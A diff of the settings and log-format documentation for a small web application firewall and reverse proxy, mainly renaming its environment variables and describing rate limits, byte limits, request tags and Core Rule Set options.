@@ -33,8 +33,7 @@ body bytes, never headers, whatever `SWW_WAF_BYTES_COUNTED` says.
|
||||
|
||||
## Countries and AS numbers
|
||||
|
||||
For the `SWW_WAF_METRICS_BUSIEST_COUNTRIES_AND_ASNS` busiest of each, the rest
|
||||
as `other`:
|
||||
For the `SWW_METRICS_TOP_N` busiest of each, the rest as `other`:
|
||||
|
||||
- `sww_country_requests_total`, `sww_country_request_bytes_total`,
|
||||
`sww_country_response_bytes_total` and `sww_country_list_refusals_total`, by
|
||||
|
||||
+17
-21
@@ -43,7 +43,7 @@ Every one of these lines has:
|
||||
|
||||
- `time`: when `waf` had read the question's body, RFC 3339 with milliseconds,
|
||||
in UTC. The `report` line gives the same time as the `decision` line.
|
||||
- `instance`: `SWW_WAF_INSTANCE_NAME`.
|
||||
- `instance`: `SWW_INSTANCE_NAME`.
|
||||
- `client_ip`: the visitor's address, as `rproxy` worked it out.
|
||||
- `method`, `path` and `query`: the visitor's request.
|
||||
- `scheme`: how the visitor reached `rproxy` or the trusted proxy in front of
|
||||
@@ -80,8 +80,8 @@ Every one of these lines has:
|
||||
- GeoJS had not answered by the time `waf` answered.
|
||||
- `content_type`: the visitor's `Content-Type`.
|
||||
- `content_length`: the body length the visitor announced.
|
||||
- `request_headers`: the headers listed in `SWW_WAF_LOG_REQUEST_HEADERS`, by
|
||||
name in lower case.
|
||||
- `request_headers`: the headers listed in `SWW_LOG_REQUEST_HEADERS`, by name in
|
||||
lower case.
|
||||
- `has_authorization` and `has_cookie`: true when the request had those headers.
|
||||
Their values are never logged.
|
||||
|
||||
@@ -94,8 +94,8 @@ Every one of these lines has:
|
||||
|
||||
- `action`: what was done:
|
||||
- `forward`: answered `allow`, so that `rproxy` passes it to the app;
|
||||
- `client_denied`: refused for `SWW_WAF_DENY_NETS`, for a reputation source
|
||||
with the action `deny`, or for a tag in `SWW_WAF_TAG_DENY`;
|
||||
- `client_denied`: refused for `SWW_DENY_NETS`, for a reputation source with
|
||||
the action `deny`, or for a tag in `SWW_TAG_DENY`;
|
||||
- `temporarily_banned`: refused under a ban that runs out, or for a `ban`
|
||||
rule, a trap path or a CrowdSec decision that made such a ban;
|
||||
- `permanently_banned`: refused under a ban that never runs out, including a
|
||||
@@ -112,24 +112,22 @@ Every one of these lines has:
|
||||
is left out when none did.
|
||||
- `heuristic_figures`: an object of the figures that heuristic acted on. Each
|
||||
heuristic and its figures:
|
||||
- `deny_nets`: `netblock`, the entry of `SWW_WAF_DENY_NETS` the client is
|
||||
in;
|
||||
- `deny_nets`: `netblock`, the entry of `SWW_DENY_NETS` the client is in;
|
||||
- `active_ban`: `netblock`, the ban's netblock, and `ban_expires`;
|
||||
- `countries`: `country`, and `setting`, the country list that refused it;
|
||||
- `tag_deny`: `tag`, the tag of `SWW_WAF_TAG_DENY` the request carries;
|
||||
- `tag_deny`: `tag`, the tag of `SWW_TAG_DENY` the request carries;
|
||||
- `blocklists`: `lists`, the blocklist URLs that list the client;
|
||||
- `crowdsec`: `scenario`, the decision's scenario, and `expires`, when the
|
||||
decision ends;
|
||||
- `dnsbl`: `zones`, the DNS blocklist zones that list the client, their keys
|
||||
masked;
|
||||
- `abuseipdb`: `score`, and `min_score`, `SWW_WAF_ABUSEIPDB_MIN_SCORE`;
|
||||
- `abuseipdb`: `score`, and `min_score`, `SWW_ABUSEIPDB_MIN_SCORE`;
|
||||
- `rate_limits`: `window`, `count` and `limit`;
|
||||
- `trap_paths`: `path`, the trap path asked for;
|
||||
- `rule_files`: `rule_id` and `rule_action`, of the rule that refused it;
|
||||
- `header_limits`: `fields`, `fields_limit`, `cookies` and `cookies_limit`;
|
||||
- `core_rule_set`: `score`, and `threshold`,
|
||||
`SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD`;
|
||||
- `refusal_limit`: `window`, `count` and `limit`, of the refusal limit;
|
||||
- `core_rule_set`: `score`, and `threshold`, `SWW_WAF_ANOMALY_THRESHOLD`;
|
||||
- `refusal_limit`: `window`, `count` and `limit`, of the error burst;
|
||||
- `byte_limits`: `window`, `count` and `limit`, the count in bytes.
|
||||
- `after_answer_heuristic`: the heuristic that banned the client after `waf`
|
||||
answered the request, in `observe` mode too: `refusal_limit` or `byte_limits`.
|
||||
@@ -148,7 +146,7 @@ Every one of these lines has:
|
||||
holds:
|
||||
- `minute`, `hour` and `day`: requests;
|
||||
- `minute_bytes`, `hour_bytes` and `day_bytes`: the body bytes
|
||||
`SWW_WAF_BYTES_COUNTED` names, in that window.
|
||||
`SWW_BYTES_COUNT` names, in that window.
|
||||
|
||||
A count can have a fraction (see "Counting method" in
|
||||
[`SPEC.md`](../SPEC.md)). The bytes counted for an allowed request and its
|
||||
@@ -158,8 +156,7 @@ Every one of these lines has:
|
||||
- `limit_hit`: the limit broken:
|
||||
- `minute`, `hour` or `day` for a rate limit;
|
||||
- `minute_bytes`, `hour_bytes` or `day_bytes` for a byte limit;
|
||||
- `minute_refusals` for the refusal limit
|
||||
(`SWW_WAF_REFUSALS_LIMIT_PER_MINUTE`).
|
||||
- `minute_refusals` for the error burst (`SWW_ERROR_BURST_THRESHOLD`).
|
||||
|
||||
When the bytes counted for a request and its response break a limit, the
|
||||
request has been passed on whole, so its `action` stays `forward`. Only its
|
||||
@@ -177,7 +174,7 @@ Every one of these lines has:
|
||||
- `tags`: the request's tags, sorted, left out when it has none. Each tag and
|
||||
where it comes from is under "Request tags" in [`SPEC.md`](../SPEC.md).
|
||||
- `routewatch_tags_missing`: why the request got no tags from routewatch,
|
||||
present only while `SWW_WAF_ROUTEWATCH_URL` is set:
|
||||
present only while `SWW_ROUTEWATCH_URL` is set:
|
||||
- `no_answer_yet`: routewatch has not answered about this client yet;
|
||||
- `request_failed`: a query to routewatch failed within the last minute, and
|
||||
the process log says why;
|
||||
@@ -234,15 +231,14 @@ meanings where they differ:
|
||||
was sooner. It includes the wait for `waf`.
|
||||
- `duration_response_ms`: milliseconds from then until the end of the answer.
|
||||
- `disposition`: what was done with the request: `allow`, `deny` or `close`. It
|
||||
is `waf`'s answer, or the value of
|
||||
`SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION`. It is left out when:
|
||||
is `waf`'s answer, or the value of `SWRP_DEFAULT_DISPOSITION`. It is left out
|
||||
when:
|
||||
- `waf` was not asked, as for the health check;
|
||||
- the visitor went away while `waf` was being asked;
|
||||
- `waf`'s answer had no valid `X-Sww-Disposition`;
|
||||
- `rproxy` could not pass on `waf`'s answer, and answered `502`.
|
||||
- `waf_backend_no_answer`: `true` when
|
||||
`SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION` gave `disposition`, and
|
||||
otherwise left out.
|
||||
- `default_disposition`: `true` when `SWRP_DEFAULT_DISPOSITION` gave
|
||||
`disposition`, and otherwise left out.
|
||||
|
||||
For example:
|
||||
|
||||
|
||||
+248
-263
@@ -4,16 +4,14 @@ Every setting, its default and the values it takes, in the groups of "Settings"
|
||||
in [`SPEC.md`](../SPEC.md). That section gives the conventions, the settings
|
||||
that take `off`, the `_FILE` form, and what each group does and why.
|
||||
|
||||
The settings that start with `SWW_WAF_` are `waf`'s. Those that start with
|
||||
`SWW_RPROXY_` are `rproxy`'s, and are under "`rproxy`" below. `SWW_COMMAND`
|
||||
chooses between the two (see "The image's command" below).
|
||||
The settings that start with `SWW_` are `waf`'s. Those that start with `SWRP_`
|
||||
are `rproxy`'s, and are under "`rproxy`" below. `SWW_COMMAND` chooses between
|
||||
the two (see "The image's command" below).
|
||||
|
||||
## Forms of values
|
||||
|
||||
- A duration is Go's syntax, with `d` for days: `90s`, `15m`, `24h`, `7d`. Zero
|
||||
and negative durations are refused.
|
||||
- A time in milliseconds is a whole number above zero, such as `2000`. Its
|
||||
setting's name ends in `_MS`.
|
||||
- A size is a number of bytes with an optional `K`, `M` or `G`, which are powers
|
||||
of 1024, so `1K` is 1024 bytes. Examples: `512K`, `100M`, `5G`.
|
||||
- A count is a whole number of requests, such as `1000`.
|
||||
@@ -30,101 +28,98 @@ chooses between the two (see "The image's command" below).
|
||||
|
||||
## Core
|
||||
|
||||
- `SWW_WAF_LISTEN_ADDR` (default `:8080`): where `waf` listens: `:` and a port,
|
||||
such as `:9000`. Leave the host out (see "Ports" in [`SPEC.md`](../SPEC.md)).
|
||||
- `SWW_WAF_INSTANCE_NAME` (default: the container's host name): the `instance`
|
||||
name in each line `waf` logs, and in each alert and metric, such as
|
||||
`fsn1/waf`. Valid UTF-8. No control character while `SWW_WAF_ALERT_NTFY_URL`
|
||||
is set. 1 to 48 printable ASCII characters without a space while
|
||||
`SWW_WAF_LOG_REMOTE_URL` is set and `SWW_WAF_LOG_REMOTE_APP_NAME` is not.
|
||||
- `SWW_WAF_MODE` (default `enforce`): `enforce` or `observe`.
|
||||
- `SWW_WAF_IPV6_GROUP_PREFIX` (default `64`): the prefix length of an IPv6
|
||||
client's group, from 32 to 128.
|
||||
- `SWW_WAF_MAX_TRACKED_CLIENTS` (default `20000`): the most clients kept, a
|
||||
whole number above zero.
|
||||
- `SWW_WAF_MAX_BANS` (default `5000`): how many of its own bans `waf` keeps, a
|
||||
whole number above zero.
|
||||
- `SWW_LISTEN_ADDR` (default `:8080`): where `waf` listens: `:` and a port, such
|
||||
as `:9000`. Leave the host out (see "Ports" in [`SPEC.md`](../SPEC.md)).
|
||||
- `SWW_INSTANCE_NAME` (default: the container's host name): the `instance` name
|
||||
in each line `waf` logs, and in each alert and metric, such as `fsn1/waf`.
|
||||
Valid UTF-8. No control character while `SWW_ALERT_NTFY_URL` is set. 1 to 48
|
||||
printable ASCII characters without a space while `SWW_LOG_REMOTE_URL` is set
|
||||
and `SWW_LOG_REMOTE_APP_NAME` is not.
|
||||
- `SWW_MODE` (default `enforce`): `enforce` or `observe`.
|
||||
- `SWW_IPV6_GROUP_PREFIX` (default `64`): the prefix length of an IPv6 client's
|
||||
group, from 32 to 128.
|
||||
- `SWW_MAX_TRACKED_CLIENTS` (default `20000`): the most clients kept, a whole
|
||||
number above zero.
|
||||
- `SWW_MAX_BANS` (default `5000`): how many of its own bans `waf` keeps, a whole
|
||||
number above zero.
|
||||
|
||||
## Tokens
|
||||
|
||||
- `SWW_WAF_ADMIN_TOKEN` (default unset): the token for the ban endpoints and
|
||||
- `SWW_ADMIN_TOKEN` (default unset): the token for the ban endpoints and
|
||||
`/_sww/clients/<ip>`. At least 32 characters.
|
||||
- `SWW_WAF_METRICS_TOKEN` (default unset): the token for `/_sww/metrics`. At
|
||||
least 32 characters.
|
||||
- `SWW_METRICS_TOKEN` (default unset): the token for `/_sww/metrics`. At least
|
||||
32 characters.
|
||||
|
||||
## State and cache files
|
||||
|
||||
- `SWW_WAF_STATE_DIR` (default `/var/lib/sww`): the directory of the state
|
||||
files, an absolute path that can be written. The image's `run` script makes
|
||||
it.
|
||||
- `SWW_WAF_BANS_WRITE_DELAY` (default `10s`): how long `bans.json` waits to be
|
||||
- `SWW_STATE_DIR` (default `/var/lib/sww`): the directory of the state files, an
|
||||
absolute path that can be written. The image's `run` script makes it.
|
||||
- `SWW_STATE_WRITE_DELAY` (default `10s`): how long `bans.json` waits to be
|
||||
written after a ban is made, lifted or made permanent. A duration.
|
||||
- `SWW_WAF_STATE_WRITE_INTERVAL` (default `15m`): how often every state and
|
||||
cache file is written. A duration.
|
||||
- `SWW_WAF_CACHE_DIR` (default `/var/cache/sww`): the directory of the cache
|
||||
files, an absolute path that can be written. The image's `run` script makes
|
||||
it.
|
||||
- `SWW_STATE_COUNTER_INTERVAL` (default `15m`): how often every state and cache
|
||||
file is written. A duration.
|
||||
- `SWW_CACHE_DIR` (default `/var/cache/sww`): the directory of the cache files,
|
||||
an absolute path that can be written. The image's `run` script makes it.
|
||||
|
||||
## Logging
|
||||
|
||||
- `SWW_WAF_LOG_LEVEL` (default `info`): the least severe of `waf`'s own messages
|
||||
- `SWW_LOG_LEVEL` (default `info`): the least severe of `waf`'s own messages
|
||||
that are written: `debug`, `info`, `warn` or `error`.
|
||||
- `SWW_WAF_LOG_REQUEST_HEADERS` (default
|
||||
- `SWW_LOG_REQUEST_HEADERS` (default
|
||||
`accept,accept-language,accept-encoding,content-type,origin,range`): the
|
||||
request headers recorded in the log line, in either case. `Host` and
|
||||
`Transfer-Encoding` are refused; the host is the field `host`.
|
||||
- `SWW_WAF_LOG_REMOTE_URL` (default unset): a syslog server that also gets every
|
||||
- `SWW_LOG_REMOTE_URL` (default unset): a syslog server that also gets every
|
||||
line written to stdout: `syslog+udp://`, `syslog+tcp://` or `syslog+tls://`,
|
||||
each with a host and a port and nothing more.
|
||||
- `SWW_WAF_LOG_REMOTE_TLS_CA_FILE` (default unset): a file of PEM certificates
|
||||
that a `syslog+tls` server's certificate must chain to, instead of the host's
|
||||
own. A file that cannot be read, or holds no certificate, is refused.
|
||||
- `SWW_WAF_LOG_REMOTE_BUFFER_LINES` (default `10000`): the most lines held while
|
||||
they wait to be sent, a whole number above zero.
|
||||
- `SWW_WAF_LOG_REMOTE_FACILITY` (default `local0`): the syslog facility: `kern`,
|
||||
- `SWW_LOG_REMOTE_TLS_CA_FILE` (default unset): a file of PEM certificates that
|
||||
a `syslog+tls` server's certificate must chain to, instead of the host's own.
|
||||
A file that cannot be read, or holds no certificate, is refused.
|
||||
- `SWW_LOG_REMOTE_BUFFER` (default `10000`): the most lines held while they wait
|
||||
to be sent, a whole number above zero.
|
||||
- `SWW_LOG_REMOTE_FACILITY` (default `local0`): the syslog facility: `kern`,
|
||||
`user`, `mail`, `daemon`, `auth`, `syslog`, `lpr`, `news`, `uucp`, `cron`,
|
||||
`authpriv`, `ftp`, or `local0` to `local7`.
|
||||
- `SWW_WAF_LOG_REMOTE_APP_NAME` (default: `SWW_WAF_INSTANCE_NAME`): the app name
|
||||
in each syslog record, 1 to 48 printable ASCII characters without a space.
|
||||
- `SWW_LOG_REMOTE_APP_NAME` (default: `SWW_INSTANCE_NAME`): the app name in each
|
||||
syslog record, 1 to 48 printable ASCII characters without a space.
|
||||
|
||||
## Metrics
|
||||
|
||||
- `SWW_WAF_METRICS_BUSIEST_COUNTRIES_AND_ASNS` (default `50`): how many AS
|
||||
numbers and how many countries get series of their own. A whole number above
|
||||
zero.
|
||||
- `SWW_METRICS_TOP_N` (default `50`): how many AS numbers and how many countries
|
||||
get series of their own. A whole number above zero.
|
||||
|
||||
## Static lists
|
||||
|
||||
- `SWW_WAF_ALLOW_NETS` (default empty): netblocks you trust, such as your
|
||||
monitoring (see step 4 in [`SPEC.md`](../SPEC.md)).
|
||||
- `SWW_WAF_RATE_LIMIT_EXEMPT_NETS` (default empty): netblocks whose clients are
|
||||
- `SWW_ALLOW_NETS` (default empty): netblocks you trust, such as your monitoring
|
||||
(see step 4 in [`SPEC.md`](../SPEC.md)).
|
||||
- `SWW_RATE_LIMIT_EXEMPT_NETS` (default empty): netblocks whose clients are
|
||||
exempt from rate limiting and the byte limits.
|
||||
- `SWW_WAF_DENY_NETS` (default empty): netblocks whose clients are refused (see
|
||||
step 4 in [`SPEC.md`](../SPEC.md)).
|
||||
- `SWW_DENY_NETS` (default empty): netblocks whose clients are refused (see step
|
||||
4 in [`SPEC.md`](../SPEC.md)).
|
||||
|
||||
## Request rate limits, per client
|
||||
|
||||
The request past one of these limits is refused, and the client is banned.
|
||||
|
||||
- `SWW_WAF_RATE_LIMIT_PER_MINUTE` (default `120`, 2 a second): the most requests
|
||||
a client may make in a minute. A count or `off`. The default leaves room for a
|
||||
- `SWW_RATE_LIMIT_PER_MINUTE` (default `120`, 2 a second): the most requests a
|
||||
client may make in a minute. A count or `off`. The default leaves room for a
|
||||
person opening two pages at once with an empty cache, up to 60 files each.
|
||||
- `SWW_WAF_RATE_LIMIT_PER_HOUR` (default `1500`): the most requests a client may
|
||||
- `SWW_RATE_LIMIT_PER_HOUR` (default `1500`): the most requests a client may
|
||||
make in an hour. A count or `off`. It is the main limit against scrapers. A
|
||||
person reading a site for an hour, a page every 20 seconds, makes about 900. A
|
||||
scraper making one request every 2 seconds makes 1,800 an hour, more than the
|
||||
limit.
|
||||
- `SWW_WAF_RATE_LIMIT_PER_DAY` (default `6000`): the most requests a client may
|
||||
make in a day. A count or `off`. The default is four hours at the hour limit.
|
||||
A scraper making one request every 10 seconds makes 8,640 a day, more than the
|
||||
- `SWW_RATE_LIMIT_PER_DAY` (default `6000`): the most requests a client may make
|
||||
in a day. A count or `off`. The default is four hours at the hour limit. A
|
||||
scraper making one request every 10 seconds makes 8,640 a day, more than the
|
||||
limit.
|
||||
- A CI runner asks its code forge for work all day and can pass the limits. Put
|
||||
the runners' addresses in `SWW_WAF_RATE_LIMIT_EXEMPT_NETS`. Do the same for a
|
||||
the runners' addresses in `SWW_RATE_LIMIT_EXEMPT_NETS`. Do the same for a
|
||||
network where many people share one address, such as an office.
|
||||
- Counting cannot catch a client that stays under all three limits (see "Request
|
||||
rate limits, per client" in [`SPEC.md`](../SPEC.md)).
|
||||
- `SWW_WAF_RATE_LIMIT_EXEMPT_PATHS` (default empty): path prefixes exempt from
|
||||
rate limiting and the byte limits, such as `/assets/`.
|
||||
- `SWW_RATE_LIMIT_EXEMPT_PATHS` (default empty): path prefixes exempt from rate
|
||||
limiting and the byte limits, such as `/assets/`.
|
||||
|
||||
## Byte limits, per client
|
||||
|
||||
@@ -134,84 +129,83 @@ counted for a request and its response are added to the client's total once the
|
||||
response has ended. The request that takes a client's total past a limit is not
|
||||
cut off; the client is banned.
|
||||
|
||||
- `SWW_WAF_BYTES_LIMIT_PER_MINUTE` (default `off`),
|
||||
`SWW_WAF_BYTES_LIMIT_PER_HOUR` (default `50G`) and
|
||||
`SWW_WAF_BYTES_LIMIT_PER_DAY` (default `100G`): the most bytes counted for a
|
||||
client in each window, a size or `off`. `SWW_WAF_BYTES_COUNTED` says which
|
||||
bytes count: response bodies, request bodies or both. The request that passes
|
||||
the limit is not cut off, and the client is banned when its response ends.
|
||||
- `SWW_WAF_BYTES_COUNTED` (default `both`): what the byte limits and the byte
|
||||
anomaly thresholds count: `response`, the app's response bodies; `request`,
|
||||
the visitors' request bodies; or `both`. What the visitor sent over a
|
||||
WebSocket counts as request bytes, and what the app sent as response bytes.
|
||||
- `SWW_BYTES_LIMIT_PER_MINUTE` (default `off`), `SWW_BYTES_LIMIT_PER_HOUR`
|
||||
(default `50G`) and `SWW_BYTES_LIMIT_PER_DAY` (default `100G`): the most bytes
|
||||
counted for a client in each window, a size or `off`. `SWW_BYTES_COUNT` says
|
||||
which bytes count: response bodies, request bodies or both. The request that
|
||||
passes the limit is not cut off, and the client is banned when its response
|
||||
ends.
|
||||
- `SWW_BYTES_COUNT` (default `both`): what the byte limits and the byte anomaly
|
||||
thresholds count: `response`, the app's response bodies; `request`, the
|
||||
visitors' request bodies; or `both`. What the visitor sent over a WebSocket
|
||||
counts as request bytes, and what the app sent as response bytes.
|
||||
|
||||
## Lookup of AS number and country
|
||||
|
||||
- `SWW_WAF_LOOKUP_SOURCE` (default `geojs`): `geojs`, `file` or `off`. `off`
|
||||
stops the start while a setting that needs a lookup is set:
|
||||
- `SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES`;
|
||||
- `SWW_WAF_ADD_LOOKUP_HEADERS`;
|
||||
- `SWW_WAF_TAG_DENY` or `SWW_WAF_TAG_LIMIT_PERCENT` naming a `country=` tag,
|
||||
or an `asn=` tag while `SWW_WAF_ROUTEWATCH_URL` is unset;
|
||||
- the two byte percentage lists and `SWW_WAF_ASN_LIMIT_PERCENT_URL`;
|
||||
- `SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT` below `100`;
|
||||
- `SWW_LOOKUP_SOURCE` (default `geojs`): `geojs`, `file` or `off`. `off` stops
|
||||
the start while a setting that needs a lookup is set:
|
||||
- `SWW_EXCLUSIVELY_ALLOWED_COUNTRIES`;
|
||||
- `SWW_ADD_LOOKUP_HEADERS`;
|
||||
- `SWW_TAG_DENY` or `SWW_TAG_LIMIT_PERCENT` naming a `country=` tag, or an
|
||||
`asn=` tag while `SWW_ROUTEWATCH_URL` is unset;
|
||||
- the two byte percentage lists and `SWW_ASN_LIMIT_PERCENT_URL`;
|
||||
- `SWW_UNKNOWN_LIMIT_PERCENT` below `100`;
|
||||
- an anomaly threshold per AS number.
|
||||
- `SWW_WAF_LOOKUP_DB_PATH` (default empty): the IPinfo Lite database file, in
|
||||
its `.mmdb` form, for `SWW_WAF_LOOKUP_SOURCE=file`.
|
||||
- `SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS` (default `800`): how long a
|
||||
request waits for its client's first answer from GeoJS, and how long a request
|
||||
to GeoJS may take. A time in milliseconds; never `off`.
|
||||
- `SWW_WAF_ADD_LOOKUP_HEADERS` (default `false`): `true` has `rproxy` pass the
|
||||
app the client's AS number in `X-Client-ASN` and its country in
|
||||
- `SWW_LOOKUP_DB_PATH` (default empty): the IPinfo Lite database file, in its
|
||||
`.mmdb` form, for `SWW_LOOKUP_SOURCE=file`.
|
||||
- `SWW_LOOKUP_TIMEOUT` (default `800ms`): how long a request waits for its
|
||||
client's first answer from GeoJS, and how long a request to GeoJS may take. A
|
||||
duration; never `off`.
|
||||
- `SWW_ADD_LOOKUP_HEADERS` (default `false`): `true` has `rproxy` pass the app
|
||||
the client's AS number in `X-Client-ASN` and its country in
|
||||
`X-Client-Country`.
|
||||
|
||||
## Country list
|
||||
|
||||
- `SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES` (default empty): when set, the only
|
||||
- `SWW_EXCLUSIVELY_ALLOWED_COUNTRIES` (default empty): when set, the only
|
||||
countries whose clients get through, such as `us,de`. A country whose
|
||||
`country=` tag is in `SWW_WAF_TAG_DENY` stops the start.
|
||||
`country=` tag is in `SWW_TAG_DENY` stops the start.
|
||||
|
||||
## Request tags
|
||||
|
||||
Every request gets tags from what `waf` knows of its client. See "Request tags"
|
||||
in [`SPEC.md`](../SPEC.md).
|
||||
|
||||
- `SWW_WAF_TAG_LISTS` (default empty): address lists that each add a tag, as
|
||||
- `SWW_TAG_LISTS` (default empty): address lists that each add a tag, as
|
||||
`name=URL` pairs, such as `torexit=https://example.com/tor.txt`. A name is the
|
||||
tag, and may hold `=`, such as `vpn=mullvad`. Each list is an `http` or
|
||||
`https` URL fetched like a blocklist. A name or URL listed twice is refused.
|
||||
So is a URL that is also in `SWW_WAF_BLOCKLIST_URLS`,
|
||||
`SWW_WAF_ASN_LIMIT_PERCENT_URL`, or the CrowdSec decision list.
|
||||
- `SWW_WAF_TAG_DENY` (default empty): tags whose requests are refused, such as
|
||||
So is a URL that is also in `SWW_BLOCKLIST_URLS`, `SWW_ASN_LIMIT_PERCENT_URL`,
|
||||
or the CrowdSec decision list.
|
||||
- `SWW_TAG_DENY` (default empty): tags whose requests are refused, such as
|
||||
`torexit,country=CN`. A tag listed twice, an `asn=` tag without a number, or a
|
||||
`country=` tag without a country, is refused.
|
||||
- `SWW_WAF_TAG_LIMIT_PERCENT` (default empty): tags that lower a client's
|
||||
limits, as tag and percentage pairs, such as `vpn:50,asn=14061:25`. A
|
||||
percentage is from `1` to `99`, of every rate limit and byte limit. The lowest
|
||||
percentage among a client's tags applies. A tag listed twice is refused. So is
|
||||
- `SWW_TAG_LIMIT_PERCENT` (default empty): tags that lower a client's limits, as
|
||||
tag and percentage pairs, such as `vpn:50,asn=14061:25`. A percentage is from
|
||||
`1` to `99`, of every rate limit and byte limit. The lowest percentage among a
|
||||
client's tags applies. A tag listed twice is refused. So is
|
||||
`exploitsignature`: a request gets that tag after the rate limits have counted
|
||||
it.
|
||||
|
||||
- `SWW_WAF_ROUTEWATCH_URL` (default unset): the `http` or `https` URL of a
|
||||
- `SWW_ROUTEWATCH_URL` (default unset): the `http` or `https` URL of a
|
||||
routewatch instance. [routewatch](https://git.eeqj.de/sneak/routewatch) is a
|
||||
service that gives an address's announced netblock and origin AS. `waf` asks
|
||||
it about each client, in the background, and adds the tags `asn=<number>` and
|
||||
`prefix=<netblock>` from its answer. While it is unset, nothing asks
|
||||
routewatch and no request gets a `prefix=` tag.
|
||||
|
||||
`SWW_WAF_TAG_DENY` and `SWW_WAF_TAG_LIMIT_PERCENT` accept tags in either case. A
|
||||
tag that no request can get stops the start. A request can get only these:
|
||||
`SWW_TAG_DENY` and `SWW_TAG_LIMIT_PERCENT` accept tags in either case. A tag
|
||||
that no request can get stops the start. A request can get only these:
|
||||
|
||||
- a name in `SWW_WAF_TAG_LISTS`;
|
||||
- a name in `SWW_TAG_LISTS`;
|
||||
- an `asn=` or `country=` tag;
|
||||
- a `prefix=` tag with a netblock, while `SWW_WAF_ROUTEWATCH_URL` is set. It
|
||||
matches only that exact announced netblock, such as `prefix=192.0.2.0/24`;
|
||||
- a `dnsbl=` tag of a zone in `SWW_WAF_DNSBL_ZONES`, in lower case, with a key
|
||||
- a `prefix=` tag with a netblock, while `SWW_ROUTEWATCH_URL` is set. It matches
|
||||
only that exact announced netblock, such as `prefix=192.0.2.0/24`;
|
||||
- a `dnsbl=` tag of a zone in `SWW_DNSBL_ZONES`, in lower case, with a key
|
||||
masked as the `reputation` field shows it;
|
||||
- `abuseipdb`, while `SWW_WAF_ABUSEIPDB_KEY` is set;
|
||||
- `exploitsignature`, in `SWW_WAF_TAG_DENY` only, while
|
||||
`SWW_WAF_RULE_FILES_ENABLED` is `true`, or while neither
|
||||
`SWW_WAF_CORE_RULE_SET_MODE` nor `SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD` is
|
||||
- `abuseipdb`, while `SWW_ABUSEIPDB_KEY` is set;
|
||||
- `exploitsignature`, in `SWW_TAG_DENY` only, while `SWW_RULES_ENABLED` is
|
||||
`true`, or while neither `SWW_WAF_MODE` nor `SWW_WAF_ANOMALY_THRESHOLD` is
|
||||
`off`.
|
||||
|
||||
`crowdsec` stops the start in both settings, because a CrowdSec decision refuses
|
||||
@@ -219,54 +213,51 @@ the request first.
|
||||
|
||||
## Biased thresholds
|
||||
|
||||
- `SWW_WAF_ASN_BYTES_LIMIT_PERCENT` and `SWW_WAF_COUNTRY_BYTES_LIMIT_PERCENT`
|
||||
(default empty): a percentage of the byte limits alone, for the AS numbers or
|
||||
countries listed, such as `AS14061:50` or `cn:25`. It takes the place of the
|
||||
percentage `SWW_WAF_TAG_LIMIT_PERCENT` gives their `asn=` or `country=` tag.
|
||||
An AS number or country listed twice is refused.
|
||||
- `SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT` (default `100`): the percentage for a
|
||||
client the lookup cannot place.
|
||||
- `SWW_WAF_ASN_LIMIT_PERCENT_URL` (default unset): the `http` or `https` URL of
|
||||
a text file with one AS number and percentage on each line, such as
|
||||
`AS64496:50`. Each entry counts like an `asn=` tag in
|
||||
`SWW_WAF_TAG_LIMIT_PERCENT`. A URL that is also in `SWW_WAF_BLOCKLIST_URLS` is
|
||||
refused.
|
||||
- `SWW_ASN_BYTES_PERCENT` and `SWW_COUNTRY_BYTES_PERCENT` (default empty): a
|
||||
percentage of the byte limits alone, for the AS numbers or countries listed,
|
||||
such as `AS14061:50` or `cn:25`. It takes the place of the percentage
|
||||
`SWW_TAG_LIMIT_PERCENT` gives their `asn=` or `country=` tag. An AS number or
|
||||
country listed twice is refused.
|
||||
- `SWW_UNKNOWN_LIMIT_PERCENT` (default `100`): the percentage for a client the
|
||||
lookup cannot place.
|
||||
- `SWW_ASN_LIMIT_PERCENT_URL` (default unset): the `http` or `https` URL of a
|
||||
text file with one AS number and percentage on each line, such as
|
||||
`AS64496:50`. Each entry counts like an `asn=` tag in `SWW_TAG_LIMIT_PERCENT`.
|
||||
A URL that is also in `SWW_BLOCKLIST_URLS` is refused.
|
||||
|
||||
## Attack detection
|
||||
|
||||
- `SWW_WAF_RULE_FILES_DIR` (default `/etc/sww/rules.d`): the directory of the
|
||||
rule files.
|
||||
- `SWW_WAF_RULE_FILES_ENABLED` (default `true`): `false` reads no rule file.
|
||||
- `SWW_WAF_TRAP_PATHS` (default empty): paths only scanners ask for, such as
|
||||
- `SWW_RULES_DIR` (default `/etc/sww/rules.d`): the directory of the rule files.
|
||||
- `SWW_RULES_ENABLED` (default `true`): `false` reads no rule file.
|
||||
- `SWW_TRAP_PATHS` (default empty): paths only scanners ask for, such as
|
||||
`/wp-login.php,/xmlrpc.php`. Each starts with `/` and holds no `?`.
|
||||
- `SWW_WAF_CORE_RULE_SET_MODE` (default `block`): `off`, `detect` or `block`.
|
||||
- `SWW_WAF_CORE_RULE_SET_PARANOIA_LEVEL` (default `1`): the Core Rule Set's
|
||||
paranoia level, from 1 to 4.
|
||||
- `SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD` (default `5`): the score at which a
|
||||
request is a match. A whole number above zero, or `off`.
|
||||
- `SWW_WAF_CORE_RULE_SET_DISABLED_RULES` (default
|
||||
- `SWW_WAF_MODE` (default `block`): `off`, `detect` or `block`.
|
||||
- `SWW_WAF_PARANOIA_LEVEL` (default `1`): the Core Rule Set's paranoia level,
|
||||
from 1 to 4.
|
||||
- `SWW_WAF_ANOMALY_THRESHOLD` (default `5`): the score at which a request is a
|
||||
match. A whole number above zero, or `off`.
|
||||
- `SWW_WAF_DISABLED_RULES` (default
|
||||
`920340,920420,920440,920640,930130,930140`): the ids of Core Rule Set rules
|
||||
to switch off. Each a whole number above zero. An id from 900000 to 900999 is
|
||||
refused: those are the rules that set the Core Rule Set up, and
|
||||
`smallwebwaf`'s own.
|
||||
- `SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS` (default empty): path prefixes the Core
|
||||
Rule Set does not inspect.
|
||||
- `SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE` (default `off`): `off`, or how
|
||||
